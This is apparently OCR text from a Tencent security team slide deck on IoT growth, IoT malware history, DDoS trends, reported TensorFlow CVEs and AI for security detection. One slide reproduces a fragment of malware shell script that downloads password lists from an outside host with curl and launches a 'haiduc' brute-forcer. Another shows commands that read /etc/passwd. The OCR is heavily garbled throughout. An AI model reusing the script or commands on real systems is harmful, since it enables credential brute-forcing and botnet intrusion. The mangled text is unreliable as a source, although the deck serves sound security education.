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Rapid Growth of loT
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Ref: https://hackernoon.com/internet-of-everything-the-iot-market-is-projected-to-expand-12x-from-2017-2023-175f845c2bcf
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Al In All

AlETT

AL

Pharmaceuticals/life sclences

Automotive and aerospace

Telecoms

Energy, oll/gas and utlilities

Manufacturing

Fast moving consumer goods

Healthcare

Financlal services

Retall

Public sector




Al as “Super Brain”
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loT Security

loT Devices
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Increased Attacks on loT

loT devices at risk: malicious programs target
the ‘Internet of Things’

Currently, over 6 billion of ‘smart’ devices exist globally. It was when the Mirai botnet emerged in 2016 that the whole
world learned how dangerous such devices may become in the hands of cybercriminals. However, the history of malware
attacking loT devices began much earlier.

HYDRA BRICKERBOT
The first malware TSUNAMI TROJAN.LINUX.PNSCAN Aot Infecting loT

program targeting loT A cross-platform IRC backdoor with DDoS A Trojan infecting vulnerable devices devices and rendering
devices. capabilities. with the Tsunami backdoor. them inoperable.
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PSYBOT
Emergence of PsybOt, the first
in-the-wild malicious program
for the MIPS platform.
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y An IRC backdoor capable of scanning IP
ranges to find vulnerable devices.
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DDoS Attack from loT

IoTigF#EHFDDoSIE
TOTEN PC and Data Center 84% IoT Devices 16%

Attacks from PC and Data Center are still the the majority

------------------ Attacks from IoT devices have doubled
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passfile=pass
threqds=

SERVERIP="curl http://www.karaibe.us/.foo/remote/info.php
dir=8(cat dir.dir)

sizepass=$(wc -c < pass)
minsizep=

if [ ! $sizepass -ge $minsizep ]; then
cat .classpass > pass

elif [ s1 = .168 ]: then
cat .pass > pass

./haiduc $threads -b $1 $passfile $port "cd /tmo:waet

Powered by Tzion

-=connect-timeout 10°

curl -s http://www.karaibe.us/.foo/feed/feedp.php --connect-timeout > pass
sleer

nl
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Known vulnerabilities

Type

Out Of Bounds Read

Versions affected

We've just obtained CVE numbers for the 4 vulnerabilities you reported:

Reported by

Blade Team of Tencent

CVE-2018-7574: BMP file parser out-of-bounds read

CVE-2018-7575: Checkpoint meta file out-of-bounds read

CVE-2018-7576: Gif file parser null pointer dereference

CVE-2018-7577: Old snappy library usage resulting in memcpy-param-overlap issue.
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Al In Security
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Before After
B RftiEmERIA ABMRIIERIR

ﬁ cat /etc/passwd \/

more /etc/passwd getent passwd

~~—
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S --color=auto;
S --color=auto;
S --color=auto;
S --color=auto;
S --color=auto;
S --color=auto;
S --color=auto;
S --color=auto;
S --color=auto;
./bin/cypher-shell

BEITAINERE, Bl RITHELNSH”, MmENE )R




BilzE2¥E58
Tencent Security
Platform Dpt.
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Tencent Security Response Center

http://security.tencent.com

http://blade.tencent.com




